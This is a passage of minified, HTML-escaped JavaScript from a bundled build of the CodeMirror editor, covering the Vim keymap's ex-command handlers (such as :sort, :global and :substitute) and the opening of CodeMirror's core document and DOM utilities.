Eb={&quot;\\n&quot;:&quot;\n&quot;,&quot;\\r&quot;:&quot;\r&quot;,&quot;\\t&quot;:&quot;\t&quot;},Fb={&quot;\\/&quot;:&quot;/&quot;,&quot;\\\\&quot;:&quot;\\&quot;,&quot;\\n&quot;:&quot;\n&quot;,&quot;\\r&quot;:&quot;\r&quot;,&quot;\\t&quot;:&quot;\t&quot;},Gb=&quot;(Javascript regexp)&quot;,Hb=function(){this.buildCommandMap_()};Hb.prototype={processCommand:function(a,b,c){var d=this;a.operation(function(){a.curOp.isVimOp=!0,d._processCommand(a,b,c)})},_processCommand:function(b,c,d){var e=b.state.vim,f=vb.registerController.getRegister(&quot;:&quot;),g=f.toString();e.visualMode&amp;&amp;ia(b);var h=new a.StringStream(c);f.setText(c);var i=d||{};i.input=c;try{this.parseInput_(b,h,i)}catch(j){throw Ia(b,j),j}var k,l;if(i.commandName){if(k=this.matchCommand_(i.commandName)){if(l=k.name,k.excludeFromCommandHistory&amp;&amp;f.setText(g),this.parseCommandArgs_(h,i,k),&quot;exToKey&quot;==k.type){for(var m=0;m&lt;k.toKeys.length;m++)a.Vim.handleKey(b,k.toKeys[m],&quot;mapping&quot;);return}if(&quot;exToEx&quot;==k.type)return void this.processCommand(b,k.toInput)}}else void 0!==i.line&amp;&amp;(l=&quot;move&quot;);if(!l)return void Ia(b,&#039;Not an editor command &quot;:&#039;+c+&#039;&quot;&#039;);try{Ib[l](b,i),k&amp;&amp;k.possiblyAsync||!i.callback||i.callback()}catch(j){throw Ia(b,j),j}},parseInput_:function(a,b,c){b.eatWhile(&quot;:&quot;),b.eat(&quot;%&quot;)?(c.line=a.firstLine(),c.lineEnd=a.lastLine()):(c.line=this.parseLineSpec_(a,b),void 0!==c.line&amp;&amp;b.eat(&quot;,&quot;)&amp;&amp;(c.lineEnd=this.parseLineSpec_(a,b)));var d=b.match(/^(\w+)/);return d?c.commandName=d[1]:c.commandName=b.match(/.*/)[0],c},parseLineSpec_:function(a,b){var c=b.match(/^(\d+)/);if(c)return parseInt(c[1],10)-1;switch(b.next()){case&quot;.&quot;:return this.parseLineSpecOffset_(b,a.getCursor().line);case&quot;$&quot;:return this.parseLineSpecOffset_(b,a.lastLine());case&quot;&#039;&quot;:var d=b.next(),e=Ta(a,a.state.vim,d);if(!e)throw new Error(&quot;Mark not set&quot;);return this.parseLineSpecOffset_(b,e.line);case&quot;-&quot;:case&quot;+&quot;:return b.backUp(1),this.parseLineSpecOffset_(b,a.getCursor().line);default:return void b.backUp(1)}},parseLineSpecOffset_:function(a,b){var c=a.match(/^([+-])?(\d+)/);if(c){var d=parseInt(c[2],10);&quot;-&quot;==c[1]?b-=d:b+=d}return b},parseCommandArgs_:function(a,b,c){if(!a.eol()){b.argString=a.match(/.*/)[0];var d=c.argDelimiter||/\s+/,e=Y(b.argString).split(d);e.length&amp;&amp;e[0]&amp;&amp;(b.args=e)}},matchCommand_:function(a){for(var b=a.length;b&gt;0;b--){var c=a.substring(0,b);if(this.commandMap_[c]){var d=this.commandMap_[c];if(0===d.name.indexOf(a))return d}}return null},buildCommandMap_:function(){this.commandMap_={};for(var a=0;a&lt;c.length;a++){var b=c[a],d=b.shortName||b.name;this.commandMap_[d]=b}},map:function(a,c,d){if(&quot;:&quot;!=a&amp;&amp;&quot;:&quot;==a.charAt(0)){if(d)throw Error(&quot;Mode not supported for ex mappings&quot;);var e=a.substring(1);&quot;:&quot;!=c&amp;&amp;&quot;:&quot;==c.charAt(0)?this.commandMap_[e]={name:e,type:&quot;exToEx&quot;,toInput:c.substring(1),user:!0}:this.commandMap_[e]={name:e,type:&quot;exToKey&quot;,toKeys:c,user:!0}}else if(&quot;:&quot;!=c&amp;&amp;&quot;:&quot;==c.charAt(0)){var f={keys:a,type:&quot;keyToEx&quot;,exArgs:{input:c.substring(1)}};d&amp;&amp;(f.context=d),b.unshift(f)}else{var f={keys:a,type:&quot;keyToKey&quot;,toKeys:c};d&amp;&amp;(f.context=d),b.unshift(f)}},unmap:function(a,c){if(&quot;:&quot;!=a&amp;&amp;&quot;:&quot;==a.charAt(0)){if(c)throw Error(&quot;Mode not supported for ex mappings&quot;);var d=a.substring(1);if(this.commandMap_[d]&amp;&amp;this.commandMap_[d].user)return void delete this.commandMap_[d]}else for(var e=a,f=0;f&lt;b.length;f++)if(e==b[f].keys&amp;&amp;b[f].context===c)return void b.splice(f,1);throw Error(&quot;No such mapping.&quot;)}};var Ib={colorscheme:function(a,b){return!b.args||b.args.length&lt;1?void Ia(a,a.getOption(&quot;theme&quot;)):void a.setOption(&quot;theme&quot;,b.args[0])},map:function(a,b,c){var d=b.args;return!d||d.length&lt;2?void(a&amp;&amp;Ia(a,&quot;Invalid mapping: &quot;+b.input)):void Jb.map(d[0],d[1],c)},imap:function(a,b){this.map(a,b,&quot;insert&quot;)},nmap:function(a,b){this.map(a,b,&quot;normal&quot;)},vmap:function(a,b){this.map(a,b,&quot;visual&quot;)},unmap:function(a,b,c){var d=b.args;return!d||d.length&lt;1?void(a&amp;&amp;Ia(a,&quot;No such mapping: &quot;+b.input)):void Jb.unmap(d[0],c)},move:function(a,b){yb.processCommand(a,a.state.vim,{type:&quot;motion&quot;,motion:&quot;moveToLineOrEdgeOfDocument&quot;,motionArgs:{forward:!1,explicitRepeat:!0,linewise:!0},repeatOverride:b.line+1})},set:function(a,b){var c=b.args,d=b.setCfg||{};if(!c||c.length&lt;1)return void(a&amp;&amp;Ia(a,&quot;Invalid mapping: &quot;+b.input));var e=c[0].split(&quot;=&quot;),f=e[0],g=e[1],h=!1;if(&quot;?&quot;==f.charAt(f.length-1)){if(g)throw Error(&quot;Trailing characters: &quot;+b.argString);f=f.substring(0,f.length-1),h=!0}void 0===g&amp;&amp;&quot;no&quot;==f.substring(0,2)&amp;&amp;(f=f.substring(2),g=!1);var i=sb[f]&amp;&amp;&quot;boolean&quot;==sb[f].type;if(i&amp;&amp;void 0==g&amp;&amp;(g=!0),!i&amp;&amp;void 0===g||h){var j=v(f,a,d);j instanceof Error?Ia(a,j.message):j===!0||j===!1?Ia(a,&quot; &quot;+(j?&quot;&quot;:&quot;no&quot;)+f):Ia(a,&quot;  &quot;+f+&quot;=&quot;+j)}else{var k=u(f,g,a,d);k instanceof Error&amp;&amp;Ia(a,k.message)}},setlocal:function(a,b){b.setCfg={scope:&quot;local&quot;},this.set(a,b)},setglobal:function(a,b){b.setCfg={scope:&quot;global&quot;},this.set(a,b)},registers:function(a,b){var c=b.args,d=vb.registerController.registers,e=&quot;----------Registers----------&lt;br&gt;&lt;br&gt;&quot;;if(c){var f;c=c.join(&quot;&quot;);for(var g=0;g&lt;c.length;g++)if(f=c.charAt(g),vb.registerController.isValidRegister(f)){var h=d[f]||new B;e+=&#039;&quot;&#039;+f+&quot;    &quot;+h.toString()+&quot;&lt;br&gt;&quot;}}else for(var f in d){var i=d[f].toString();i.length&amp;&amp;(e+=&#039;&quot;&#039;+f+&quot;    &quot;+i+&quot;&lt;br&gt;&quot;)}Ia(a,e)},sort:function(b,c){function e(){if(c.argString){var b=new a.StringStream(c.argString);if(b.eat(&quot;!&quot;)&amp;&amp;(h=!0),b.eol())return;if(!b.eatSpace())return&quot;Invalid arguments&quot;;var d=b.match(/([dinuox]+)?\s*(\/.+\/)?\s*/);if(!d&amp;&amp;!b.eol())return&quot;Invalid arguments&quot;;if(d[1]){i=d[1].indexOf(&quot;i&quot;)!=-1,j=d[1].indexOf(&quot;u&quot;)!=-1;var e=d[1].indexOf(&quot;d&quot;)!=-1||d[1].indexOf(&quot;n&quot;)!=-1&amp;&amp;1,f=d[1].indexOf(&quot;x&quot;)!=-1&amp;&amp;1,g=d[1].indexOf(&quot;o&quot;)!=-1&amp;&amp;1;if(e+f+g&gt;1)return&quot;Invalid arguments&quot;;k=e&amp;&amp;&quot;decimal&quot;||f&amp;&amp;&quot;hex&quot;||g&amp;&amp;&quot;octal&quot;}d[2]&amp;&amp;(l=new RegExp(d[2].substr(1,d[2].length-2),i?&quot;i&quot;:&quot;&quot;))}}function f(a,b){if(h){var c;c=a,a=b,b=c}i&amp;&amp;(a=a.toLowerCase(),b=b.toLowerCase());var d=k&amp;&amp;s.exec(a),e=k&amp;&amp;s.exec(b);return d?(d=parseInt((d[1]+d[2]).toLowerCase(),t),e=parseInt((e[1]+e[2]).toLowerCase(),t),d-e):a&lt;b?-1:1}function g(a,b){if(h){var c;c=a,a=b,b=c}return i&amp;&amp;(a[0]=a[0].toLowerCase(),b[0]=b[0].toLowerCase()),a[0]&lt;b[0]?-1:1}var h,i,j,k,l,m=e();if(m)return void Ia(b,m+&quot;: &quot;+c.argString);var n=c.line||b.firstLine(),o=c.lineEnd||c.line||b.lastLine();if(n!=o){var p=d(n,0),q=d(o,X(b,o)),r=b.getRange(p,q).split(&quot;\n&quot;),s=l?l:&quot;decimal&quot;==k?/(-?)([\d]+)/:&quot;hex&quot;==k?/(-?)(?:0x)?([0-9a-f]+)/i:&quot;octal&quot;==k?/([0-7]+)/:null,t=&quot;decimal&quot;==k?10:&quot;hex&quot;==k?16:&quot;octal&quot;==k?8:null,u=[],v=[];if(k||l)for(var w=0;w&lt;r.length;w++){var x=l?r[w].match(l):null;x&amp;&amp;&quot;&quot;!=x[0]?u.push(x):!l&amp;&amp;s.exec(r[w])?u.push(r[w]):v.push(r[w])}else v=r;if(u.sort(l?g:f),l)for(var w=0;w&lt;u.length;w++)u[w]=u[w].input;else k||v.sort(f);if(r=h?u.concat(v):v.concat(u),j){var y,z=r;r=[];for(var w=0;w&lt;z.length;w++)z[w]!=y&amp;&amp;r.push(z[w]),y=z[w]}b.replaceRange(r.join(&quot;\n&quot;),p,q)}},global:function(a,b){var c=b.argString;if(!c)return void Ia(a,&quot;Regular Expression missing from global&quot;);var d,e=void 0!==b.line?b.line:a.firstLine(),f=b.lineEnd||b.line||a.lastLine(),g=Ca(c),h=c;if(g.length&amp;&amp;(h=g[0],d=g.slice(1,g.length).join(&quot;/&quot;)),h)try{Ma(a,h,!0,!0)}catch(i){return void Ia(a,&quot;Invalid regex: &quot;+h)}for(var j=Aa(a).getQuery(),k=[],l=&quot;&quot;,m=e;m&lt;=f;m++){var n=j.test(a.getLine(m));n&amp;&amp;(k.push(m+1),l+=a.getLine(m)+&quot;&lt;br&gt;&quot;)}if(!d)return void Ia(a,l);var o=0,p=function(){if(o&lt;k.length){var b=k[o]+d;Jb.processCommand(a,b,{callback:p})}o++};p()},substitute:function(a,b){if(!a.getSearchCursor)throw new Error(&quot;Search feature not available. Requires searchcursor.js or any other getSearchCursor implementation.&quot;);var c,e,f,g,h=b.argString,i=h?Ca(h):[],j=&quot;&quot;,k=!1,l=!1;if(i.length)c=i[0],j=i[1],c&amp;&amp;&quot;$&quot;===c[c.length-1]&amp;&amp;(c=c.slice(0,c.length-1)+&quot;\\n&quot;,j=j?j+&quot;\n&quot;:&quot;\n&quot;),void 0!==j&amp;&amp;(j=v(&quot;pcre&quot;)?Ga(j):Fa(j),vb.lastSubstituteReplacePart=j),e=i[2]?i[2].split(&quot; &quot;):[];else if(h&amp;&amp;h.length)return void Ia(a,&quot;Substitutions should be of the form :s/pattern/replace/&quot;);if(e&amp;&amp;(f=e[0],g=parseInt(e[1]),f&amp;&amp;(f.indexOf(&quot;c&quot;)!=-1&amp;&amp;(k=!0,f.replace(&quot;c&quot;,&quot;&quot;)),f.indexOf(&quot;g&quot;)!=-1&amp;&amp;(l=!0,f.replace(&quot;g&quot;,&quot;&quot;)),c=c+&quot;/&quot;+f)),c)try{Ma(a,c,!0,!0)}catch(m){return void Ia(a,&quot;Invalid regex: &quot;+c)}if(j=j||vb.lastSubstituteReplacePart,void 0===j)return void Ia(a,&quot;No previous substitute regular expression&quot;);var n=Aa(a),o=n.getQuery(),p=void 0!==b.line?b.line:a.getCursor().line,q=b.lineEnd||p;p==a.firstLine()&amp;&amp;q==a.lastLine()&amp;&amp;(q=1/0),g&amp;&amp;(p=q,q=p+g-1);var r=J(a,d(p,0)),s=a.getSearchCursor(o,r);Ua(a,k,l,p,q,s,o,j,b.callback)},redo:a.commands.redo,undo:a.commands.undo,write:function(b){a.commands.save?a.commands.save(b):b.save&amp;&amp;b.save()},nohlsearch:function(a){Qa(a)},yank:function(a){var b=R(a.getCursor()),c=b.line,d=a.getLine(c);vb.registerController.pushText(&quot;0&quot;,&quot;yank&quot;,d,!0,!0)},delmarks:function(b,c){if(!c.argString||!Y(c.argString))return void Ia(b,&quot;Argument required&quot;);for(var d=b.state.vim,e=new a.StringStream(Y(c.argString));!e.eol();){e.eatSpace();var f=e.pos;if(!e.match(/[a-zA-Z]/,!1))return void Ia(b,&quot;Invalid argument: &quot;+c.argString.substring(f));var g=e.next();if(e.match(&quot;-&quot;,!0)){if(!e.match(/[a-zA-Z]/,!1))return void Ia(b,&quot;Invalid argument: &quot;+c.argString.substring(f));var h=g,i=e.next();if(!(n(h)&amp;&amp;n(i)||q(h)&amp;&amp;q(i)))return void Ia(b,&quot;Invalid argument: &quot;+h+&quot;-&quot;);var j=h.charCodeAt(0),k=i.charCodeAt(0);if(j&gt;=k)return void Ia(b,&quot;Invalid argument: &quot;+c.argString.substring(f));for(var l=0;l&lt;=k-j;l++){var m=String.fromCharCode(j+l);delete d.marks[m]}}else delete d.marks[g]}}},Jb=new Hb;return a.keyMap.vim={attach:h,detach:g,call:i},t(&quot;insertModeEscKeysTimeout&quot;,200,&quot;number&quot;),a.keyMap[&quot;vim-insert&quot;]={fallthrough:[&quot;default&quot;],attach:h,detach:g,call:i},a.keyMap[&quot;vim-replace&quot;]={Backspace:&quot;goCharLeft&quot;,fallthrough:[&quot;vim-insert&quot;],attach:h,detach:g,call:i},y(),xb};a.Vim=e()})},{&quot;../addon/dialog/dialog&quot;:3,&quot;../addon/edit/matchbrackets.js&quot;:12,&quot;../addon/search/searchcursor&quot;:49,&quot;../lib/codemirror&quot;:59}],59:[function(a,b,c){!function(a,d){&quot;object&quot;==typeof c&amp;&amp;&quot;undefined&quot;!=typeof b?b.exports=d():&quot;function&quot;==typeof define&amp;&amp;define.amd?define(d):a.CodeMirror=d()}(this,function(){&quot;use strict&quot;;function a(a){return new RegExp(&quot;(^|\\s)&quot;+a+&quot;(?:$|\\s)\\s*&quot;)}function b(a){for(var b=a.childNodes.length;b&gt;0;--b)a.removeChild(a.firstChild);return a}function c(a,c){return b(a).appendChild(c)}function d(a,b,c,d){var e=document.createElement(a);if(c&amp;&amp;(e.className=c),d&amp;&amp;(e.style.cssText=d),&quot;string&quot;==typeof b)e.appendChild(document.createTextNode(b));else if(b)for(var f=0;f&lt;b.length;++f)e.appendChild(b[f]);return e}function e(a,b,c,e){var f=d(a,b,c,e);return f.setAttribute(&quot;role&quot;,&quot;presentation&quot;),f}function f(a,b){if(3==b.nodeType&amp;&amp;(b=b.parentNode),a.contains)return a.contains(b);do if(11==b.nodeType&amp;&amp;(b=b.host),b==a)return!0;while(b=b.parentNode)}function g(){var a;try{a=document.activeElement}catch(b){a=document.body||null}for(;a&amp;&amp;a.shadowRoot&amp;&amp;a.shadowRoot.activeElement;)a=a.shadowRoot.activeElement;return a}function h(b,c){var d=b.className;a(c).test(d)||(b.className+=(d?&quot; &quot;:&quot;&quot;)+c)}function i(b,c){for(var d=b.split(&quot; &quot;),e=0;e&lt;d.length;e++)d[e]&amp;&amp;!a(d[e]).test(c)&amp;&amp;(c+=&quot; &quot;+d[e]);return c}function j(a){var b=Array.prototype.slice.call(arguments,1);return function(){return a.apply(null,b)}}function k(a,b,c){b||(b={});for(var d in a)!a.hasOwnProperty(d)||c===!1&amp;&amp;b.hasOwnProperty(d)||(b[d]=a[d]);return b}function l(a,b,c,d,e){null==b&amp;&amp;(b=a.search(/[^\s\u00a0]/),b==-1&amp;&amp;(b=a.length));for(var f=d||0,g=e||0;;){var h=a.indexOf(&quot;\t&quot;,f);if(h&lt;0||h&gt;=b)return g+(b-f);g+=h-f,g+=c-g%c,f=h+1}}function m(a,b){for(var c=0;c&lt;a.length;++c)if(a[c]==b)return c;return-1}function n(a,b,c){for(var d=0,e=0;;){var f=a.indexOf(&quot;\t&quot;,d);f==-1&amp;&amp;(f=a.length);var g=f-d;if(f==a.length||e+g&gt;=b)return d+Math.min(g,b-e);if(e+=f-d,e+=c-e%c,d=f+1,e&gt;=b)return d}}function o(a){for(;Qg.length&lt;=a;)Qg.push(p(Qg)+&quot; &quot;);return Qg[a]}function p(a){return a[a.length-1]}function q(a,b){for(var c=[],d=0;d&lt;a.length;d++)c[d]=b(a[d],d);return c}function r(a,b,c){for(var d=0,e=c(b);d&lt;a.length&amp;&amp;c(a[d])&lt;=e;)d++;a.splice(d,0,b)}function s(){}function t(a,b){var c;return Object.create?c=Object.create(a):(s.prototype=a,c=new s),b&amp;&amp;k(b,c),c}function u(a){return/\w/.test(a)||a&gt;&quot;\x80&quot;&amp;&amp;(a.toUpperCase()!=a.toLowerCase()||Rg.test(a))}function v(a,b){return b?!!(b.source.indexOf(&quot;\\w&quot;)&gt;-1&amp;&amp;u(a))||b.test(a):u(a)}function w(a){for(var b in a)if(a.hasOwnProperty(b)&amp;&amp;a[b])return!1;return!0}function x(a){return a.charCodeAt(0)&gt;=768&amp;&amp;Sg.test(a)}function y(a,b,c){for(;(c&lt;0?b&gt;0:b&lt;a.length)&amp;&amp;x(a.charAt(b));)b+=c;return b}function z(a,b,c){for(;;){if(Math.abs(b-c)&lt;=1)return a(b)?b:c;var d=Math.floor((b+c)/2);a(d)?c=d:b=d}}function A(a,b,c){var f=this;this.input=c,f.scrollbarFiller=d(&quot;div&quot;,null,&quot;CodeMirror-scrollbar-filler&quot;),f.scrollbarFiller.setAttribute(&quot;cm-not-content&quot;,&quot;true&quot;),f.gutterFiller=d(&quot;div&quot;,null,&quot;CodeMirror-gutter-filler&quot;),f.gutterFiller.setAttribute(&quot;cm-not-content&quot;,&quot;true&quot;),f.lineDiv=e(&quot;div&quot;,null,&quot;CodeMirror-code&quot;),f.selectionDiv=d(&quot;div&quot;,null,null,&quot;position: relative; z-index: 1&quot;),f.cursorDiv=d(&quot;div&quot;,null,&quot;CodeMirror-cursors&quot;),f.measure=d(&quot;div&quot;,null,&quot;CodeMirror-measure&quot;),f.lineMeasure=d(&quot;div&quot;,null,&quot;CodeMirror-measure&quot;),f.lineSpace=e(&quot;div&quot;,[f.measure,f.lineMeasure,f.selectionDiv,f.cursorDiv,f.lineDiv],null,&quot;position: relative; outline: none&quot;);var g=e(&quot;div&quot;,[f.lineSpace],&quot;CodeMirror-lines&quot;);f.mover=d(&quot;div&quot;,[g],null,&quot;position: relative&quot;),f.sizer=d(&quot;div&quot;,[f.mover],&quot;CodeMirror-sizer&quot;),f.sizerWidth=null,f.heightForcer=d(&quot;div&quot;,null,null,&quot;position: absolute; height: &quot;+Lg+&quot;px; width: 1px;&quot;),f.gutters=d(&quot;div&quot;,null,&quot;CodeMirror-gutters&quot;),f.lineGutter=null,f.scroller=d(&quot;div&quot;,[f.sizer,f.heightForcer,f.gutters],&quot;CodeMirror-scroll&quot;),f.scroller.setAttribute(&quot;tabIndex&quot;,&quot;-1&quot;),f.wrapper=d(&quot;div&quot;,[f.scrollbarFiller,f.gutterFiller,f.scroller],&quot;CodeMirror&quot;),ng&amp;&amp;og&lt;8&amp;&amp;(f.gutters.style.zIndex=-1,f.scroller.style.paddingRight=0),pg||jg&amp;&amp;yg||(f.scroller.draggable=!0),a&amp;&amp;(a.appendChild?a.appendChild(f.wrapper):a(f.wrapper)),f.viewFrom=f.viewTo=b.first,f.reportedViewFrom=f.reportedViewTo=b.first,f.view=[],f.renderedView=null,f.externalMeasured=null,f.viewOffset=0,f.lastWrapHeight=f.lastWrapWidth=0,f.updateLineNumbers=null,f.nativeBarWidth=f.barHeight=f.barWidth=0,f.scrollbarsClipped=!1,f.lineNumWidth=f.lineNumInnerWidth=f.lineNumChars=null,f.alignWidgets=!1,f.cachedCharWidth=f.cachedTextHeight=f.cachedPaddingH=null,f.maxLine=null,f.maxLineLength=0,f.maxLineChanged=!1,f.wheelDX=f.wheelDY=f.wheelStartX=f.wheelStartY=null,f.shift=!1,f.selForContextMenu=null,f.activeTouch=null,c.init(f)}function B(a,b){if(b-=a.first,b&lt;0||b&gt;=a.size)throw new Error(&quot;There is no line &quot;+(b+a.first)+&quot; in the document.&quot;);for(var c=a;!c.lines;)for(var d=0;;++d){var e=c.children[d],f=e.chunkSize();if(b&lt;f){c=e;break}b-=f}return c.lines[b]}function C(a,b,c){var d=[],e=b.line;return a.iter(b.line,c.line+1,function(a){var f=a.text;e==c.line&amp;&amp;(f=f.slice(0,c.ch)),e==b.line&amp;&amp;(f=f.slice(b.ch)),d.push(f),++e}),d}function D(a,b,c){var d=[];return a.iter(b,c,function(a){d.push(a.text)}),d}function E(a,b){var c=b-a.height;if(c)for(var d=a;d;d=d.parent)d.height+=c}function F(a){if(null==a.parent)return null;for(var b=a.parent,c=m(b.lines,a),d=b.parent;d;b=d,d=d.parent)for(var e=0;d.children[e]!=b;++e)c+=d.children[e].chunkSize();return c+b.first}function G(a,b){var c=a.first;a:do{for(var d=0;d&lt;a.children.length;++d){var e=a.children[d],f=e.height;if(b&lt;f){a=e;continue a}b-=f,c+=e.chunkSize()}return c}while(!a.lines);for(var g=0;g&lt;a.lines.length;++g){var h=a.lines[g],i=h.height;if(b&lt;i)break;b-=i}return c+g}function H(a,b){return b&gt;=a.first&amp;&amp;b&lt;a.first+a.size}function I(a,b){return String(a.lineNumberFormatter(b+a.firstLineNumber))}function J(a,b,c){return void 0===c&amp;&amp;(c=null),this instanceof J?(this.line=a,this.ch=b,void(this.sticky=c)):new J(a,b,c)}function K(a,b){return a.line-b.line||a.ch-b.ch}function L(a,b){return a.sticky==b.sticky&amp;&amp;0==K(a,b)}function M(a){return J(a.line,a.ch)}function N(a,b){return K(a,b)&lt;0?b:a}function O(a,b){return K(a,b)&lt;0?a:b}function P(a,b){return Math.max(a.first,Math.min(b,a.first+a.size-1))}function Q(a,b){if(b.line&lt;a.first)return J(a.first,0);var c=a.first+a.size-1;return b.line&gt;c?J(c,B(a,c).text.length):R(b,B(a,b.line).text.length)}function R(a,b){var c=a.ch;return null==c||c&gt;b?J(a.line,b):c&lt;0?J(a.line,0):a}function S(a,b){for(var c=[],d=0;d&lt;b.length;d++)c[d]=Q(a,b[d]);return c}function T(){Tg=!0}function U(){Ug=!0}function V(a,b,c){this.marker=a,this.from=b,this.to=c}function W(a,b){if(a)for(var c=0;c&lt;a.length;++c){var d=a[c];if(d.marker==b)return d}}function X(a,b){for(var c,d=0;d&lt;a.length;++d)a[d]!=b&amp;&amp;(c||(c=[])).push(a[d]);return c}function Y(a,b){a.markedSpans=a.markedSpans?a.markedSpans.concat([b]):[b],b.marker.attachLine(a)}function Z(a,b,c){var d;if(a)for(var e=0;e&lt;a.length;++e){var f=a[e],g=f.marker,h=null==f.from||(g.inclusiveLeft?f.from&lt;=b:f.from&lt;b);if(h||f.from==b&amp;&amp;&quot;bookmark&quot;==g.type&amp;&amp;(!c||!f.marker.insertLeft)){var i=null==f.to||(g.inclusiveRight?f.to&gt;=b:f.to&gt;b);(d||(d=[])).push(new V(g,f.from,i?null:f.to))}}return d}function $(a,b,c){var d;if(a)for(var e=0;e&lt;a.length;++e){var f=a[e],g=f.marker,h=null==f.to||(g.inclusiveRight?f.to&gt;=b:f.to&gt;b);if(h||f.from==b&amp;&amp;&quot;bookmark&quot;==g.type&amp;&amp;(!c||f.marker.insertLeft)){var i=null==f.from||(g.inclusiveLeft?f.from&lt;=b:f.from&lt;b);(d||(d=[])).push(new V(g,i?null:f.from-b,null==f.to?null:f.to-b))}}return d}function _(a,b){if(b.full)return null;var c=H(a,b.from.line)&amp;&amp;B(a,b.from.line).markedSpans,d=H(a,b.to.line)&amp;&amp;B(a,b.to.line).markedSpans;if(!c&amp;&amp;!d)return null;var e=b.from.ch,f=b.to.ch,g=0==K(b.from,b.to),h=Z(c,e,g),i=$(d,f,g),j=1==b.text.length,k=p(b.text).length+(j?e:0);if(h)for(var l=0;l&lt;h.length;++l){var m=h[l];if(null==m.to){var n=W(i,m.marker);n?j&amp;&amp;(m.to=null==n.to?null:n.to+k):m.to=e}}if(i)for(var o=0;o&lt;i.length;++o){var q=i[o];if(null!=q.to&amp;&amp;(q.to+=k),null==q.from){var r=W(h,q.marker);r||(q.from=k,j&amp;&amp;(h||(h=[])).push(q))}else q.from+=k,j&amp;&amp;(h||(h=[])).push(q)}h&amp;&amp;(h=aa(h)),i&amp;&amp;i!=h&amp;&amp;(i=aa(i));var s=[h];if(!j){var t,u=b.text.length-2;if(u&gt;0&amp;&amp;h)for(var v=0;v&lt;h.length;++v)null==h[v].to&amp;&amp;(t||(t=[])).push(new V(h[v].marker,null,null));for(var w=0;w&lt;u;++w)s.push(t);s.push(i)}return s}function aa(a){for(var b=0;b&lt;a.length;++b){var c=a[b];null!=c.from&amp;&amp;c.from==c.to&amp;&amp;c.marker.clearWhenEmpty!==!1&amp;&amp;a.splice(b--,1)}return a.length?a:null}function ba(a,b,c){var d=null;if(a.iter(b.line,c.line+1,function(a){if(a.markedSpans)for(var b=0;b&lt;a.markedSpans.length;++b){var c=a.markedSpans[b].marker;!c.readOnly||d&amp;&amp;m(d,c)!=-1||(d||(d=[])).push(c)}}),!d)return null;for(var e=[{from:b,to:c}],f=0;f&lt;d.length;++f)for(var g=d[f],h=g.find(0),i=0;i&lt;e.length;++i){var j=e[i];if(!(K(j.to,h.from)&lt;0||K(j.from,h.to)&gt;0)){var k=[i,1],l=K(j.from,h.from),n=K(j.to,h.to);(l&lt;0||!g.inclusiveLeft&amp;&amp;!l)&amp;&amp;k.push({from:j.from,to:h.from}),(n&gt;0||!g.inclusiveRight&amp;&amp;!n)&amp;&amp;k.push({from:h.to,to:j.to}),e.splice.apply(e,k),i+=k.length-3}}return e}function ca(a){var b=a.markedSpans;if(b){for(var c=0;c&lt;b.length;++c)b[c].marker.detachLine(a);a.markedSpans=null}}function da(a,b){if(b){for(var c=0;c&lt;b.length;++c)b[c].marker.attachLine(a);a.markedSpans=b}}function ea(a){return a.inclusiveLeft?-1:0}function fa(a){return a.inclusiveRight?1:0}function ga(a,b){var c=a.lines.length-b.lines.length;if(0!=c)return c;var d=a.find(),e=b.find(),f=K(d.from,e.from)||ea(a)-ea(b);if(f)return-f;var g=K(d.to,e.to)||fa(a)-fa(b);return g?g:b.id-a.id}function ha(a,b){var c,d=Ug&amp;&amp;a.markedSpans;if(d)for(var e=void 0,f=0;f&lt;d.length;++f)e=d[f],e.marker.collapsed&amp;&amp;null==(b?e.from:e.to)&amp;&amp;(!c||ga(c,e.marker)&lt;0)&amp;&amp;(c=e.marker);return c}function ia(a){return ha(a,!0)}function ja(a){return ha(a,!1)}function ka(a,b,c,d,e){var f=B(a,b),g=Ug&amp;&amp;f.markedSpans;if(g)for(var h=0;h&lt;g.length;++h){var i=g[h];if(i.marker.collapsed){var j=i.marker.find(0),k=K(j.from,c)||ea(i.marker)-ea(e),l=K(j.to,d)||fa(i.marker)-fa(e);
if(!(k&gt;=0&amp;&amp;l&lt;=0||k&lt;=0&amp;&amp;l&gt;=0)&amp;&amp;(k&lt;=0&amp;&amp;(i.marker.inclusiveRight&amp;&amp;e.inclusiveLeft?K(j.to,c)&gt;=0:K(j.to,c)&gt;0)||k&gt;=0&amp;&amp;(i.marker.inclusiveRight&amp;&amp;e.inclusiveLeft?K(j.from,d)&lt;=0:K(j.from,d)&lt;0)))return!0}}}function la(a){for(var b;b=ia(a);)a=b.find(-1,!0).line;return a}function ma(a){for(var b;b=ja(a);)a=b.find(1,!0).line;return a}function na(a){for(var b,c;b=ja(a);)a=b.find(1,!0).line,(c||(c=[])).push(a);return c}function oa(a,b){var c=B(a,b),d=la(c);return c==d?b:F(d)}function pa(a,b){if(b&gt;a.lastLine())return b;var c,d=B(a,b);if(!qa(a,d))return b;for(;c=ja(d);)d=c.find(1,!0).line;return F(d)+1}function qa(a,b){var c=Ug&amp;&amp;b.markedSpans;if(c)for(var d=void 0,e=0;e&lt;c.length;++e)if(d=c[e],d.marker.collapsed){if(null==d.from)return!0;if(!d.marker.widgetNode&amp;&amp;0==d.from&amp;&amp;d.marker.inclusiveLeft&amp;&amp;ra(a,b,d))return!0}}function ra(a,b,c){if(null==c.to){var d=c.marker.find(1,!0);return ra(a,d.line,W(d.line.markedSpans,c.marker))}if(c.marker.inclusiveRight&amp;&amp;c.to==b.text.length)return!0;for(var e=void 0,f=0;f&lt;b.markedSpans.length;++f)if(e=b.markedSpans[f],e.marker.collapsed&amp;&amp;!e.marker.widgetNode&amp;&amp;e.from==c.to&amp;&amp;(null==e.to||e.to!=c.from)&amp;&amp;(e.marker.inclusiveLeft||c.marker.inclusiveRight)&amp;&amp;ra(a,b,e))return!0}function sa(a){a=la(a);for(var b=0,c=a.parent,d=0;d&lt;c.lines.length;++d){var e=c.lines[d];if(e==a)break;b+=e.height}for(var f=c.parent;f;c=f,f=c.parent)for(var g=0;g&lt;f.children.length;++g){var h=f.children[g];if(h==c)break;b+=h.height}return b}function ta(a){if(0==a.height)return 0;for(var b,c=a.text.length,d=a;b=ia(d);){var e=b.find(0,!0);d=e.from.line,c+=e.from.ch-e.to.ch}for(d=a;b=ja(d);){var f=b.find(0,!0);c-=d.text.length-f.from.ch,d=f.to.line,c+=d.text.length-f.to.ch}return c}function ua(a){var b=a.display,c=a.doc;b.maxLine=B(c,c.first),b.maxLineLength=ta(b.maxLine),b.maxLineChanged=!0,c.iter(function(a){var c=ta(a);c&gt;b.maxLineLength&amp;&amp;(b.maxLineLength=c,b.maxLine=a)})}function va(a,b,c,d){if(!a)return d(b,c,&quot;ltr&quot;);for(var 